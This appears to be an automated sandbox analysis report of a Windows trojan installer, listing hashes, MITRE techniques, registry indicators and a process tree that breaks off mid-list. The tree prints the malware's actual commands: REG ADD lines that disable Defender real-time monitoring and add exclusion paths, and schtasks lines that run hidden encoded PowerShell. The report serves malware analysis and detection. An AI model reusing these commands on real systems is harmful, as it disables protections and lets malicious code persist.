739374850691841bf1b181d2e03c1fa271e6bc232f9c7c7dc9578b8a66822bd5

Analysis

max time kernel
145s
max time network
154s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
12/12/2022, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.2MB
Sample221212-e24qesac89
SHA256 739374850691841bf1b181d2e03c1fa271e6bc232f9c7c7dc9578b8a66822bd5
MD5 8a4c5b8c3c06af9134904018cd917ff9
SHA1 ee1bdb9bbf1d7e83d44dde55dc9aa70ec9c0ebc4
SHA512 9ee5e5d96355e5f033122d201b9d030fd88d90cfb3b6c24c653016f9bab15c64d5ca5730e6952207582b1de15826ad2790a7807a7ecd976bcdd70e0580e63bc6
SSDEEP 196608:91O5mOZ6NEiHzk2FeCaU4fdfXfjqHx6PliGOXftz9HLIxV4tZTxWCXZ:3ObZJxmeCa7fdf7qHxqliGOX3r5d
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\gMcciVaOTARXERtAQ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\GcYODGnoCErSyfEV = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SBkHhbttyXjUKGscmIR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xHxDXmJxguUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jKhSoTzROkRAC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AMsnEfsuU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jKhSoTzROkRAC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\UavGvkjCGDTDhXVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\GcYODGnoCErSyfEV = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\GcYODGnoCErSyfEV = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oLfHhnNFNOeU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\UavGvkjCGDTDhXVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oLfHhnNFNOeU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SBkHhbttyXjUKGscmIR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\GcYODGnoCErSyfEV = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AMsnEfsuU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xHxDXmJxguUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\gMcciVaOTARXERtAQ = "0"	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
2020	Install.exe
240	Install.exe
1712	frzaNnN.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1720	file.exe
2020	Install.exe
2020	Install.exe
2020	Install.exe
2020	Install.exe
240	Install.exe
240	Install.exe
240	Install.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	frzaNnN.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	frzaNnN.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	frzaNnN.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bsfIXAhRvVUTXOtryy.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
912	schtasks.exe
1096	schtasks.exe
1664	schtasks.exe
1908	schtasks.exe
1252	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
768	powershell.EXE
768	powershell.EXE
768	powershell.EXE
1776	powershell.EXE
1776	powershell.EXE
1776	powershell.EXE
1752	powershell.EXE
1752	powershell.EXE
1752	powershell.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	768	powershell.EXE
Token: SeDebugPrivilege	1776	powershell.EXE
Token: SeDebugPrivilege	1752	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 1720 wrote to memory of 2020	1720	file.exe	27
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 2020 wrote to memory of 240	2020	Install.exe	28
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 1912	240	Install.exe	30
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 240 wrote to memory of 756	240	Install.exe	32
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 756 wrote to memory of 1744	756	forfiles.exe	34
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1912 wrote to memory of 1028	1912	forfiles.exe	35
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1028 wrote to memory of 1356	1028	cmd.exe	37
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1744 wrote to memory of 1072	1744	cmd.exe	36
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1028 wrote to memory of 1712	1028	cmd.exe	39
PID 1744 wrote to memory of 1916	1744	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Users\Admin\AppData\Local\Temp\7zS4A2B.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Users\Admin\AppData\Local\Temp\7zS534F.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:240
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1912
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1028
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1356
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1712
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:756
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1744
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1072
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1916
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gqcmHZuQJ" /SC once /ST 02:11:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1664
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gqcmHZuQJ"
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gqcmHZuQJ"
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bsfIXAhRvVUTXOtryy" /SC once /ST 05:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\gMcciVaOTARXERtAQ\KKNeaZGdXSrdJzB\frzaNnN.exe\" Nh /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1908

C:\Windows\system32\taskeng.exe
taskeng.exe {88143007-FDF9-4318-8A79-6A1293F34F0F} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1752
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:108
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1668

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:368

C:\Windows\system32\taskeng.exe
taskeng.exe {DB86845C-68AE-4B85-8B46-E7A0631FBE95} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1848
- C:\Users\Admin\AppData\Local\Temp\gMcciVaOTARXERtAQ\KKNeaZGdXSrdJzB\frzaNnN.exe
  C:\Users\Admin\AppData\Local\Temp\gMcciVaOTARXERtAQ\KKNeaZGdXSrdJzB\frzaNnN.exe Nh /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gndKwiOAR" /SC once /ST 04:48:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gndKwiOAR"
    3⤵
    PID:676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gndKwiOAR"
    3⤵
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1652
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1908
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gZnnKinCN" /SC once /ST 04:39:41 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gZnnKinCN"
    3⤵
    PID:1808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gZnnKinCN"
    3⤵
    PID:472
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1452
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:856
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:368
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1088
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1700
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:316
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\GcYODGnoCErSyfEV" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:888
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\GcYODGnoCErSyfEV\IUgDVBsF\SRBGefDWOYfSqIhy.wsf"
    3⤵
    PID:1648
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\GcYODGnoCErSyfEV\IUgDVBsF\SRBGefDWOYfSqIhy.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AMsnEfsuU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AMsnEfsuU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1096
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SBkHhbttyXjUKGscmIR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:560
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SBkHhbttyXjUKGscmIR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:996
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jKhSoTzROkRAC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1520
  - - C:\Windows\SysWOW64\reg.exe
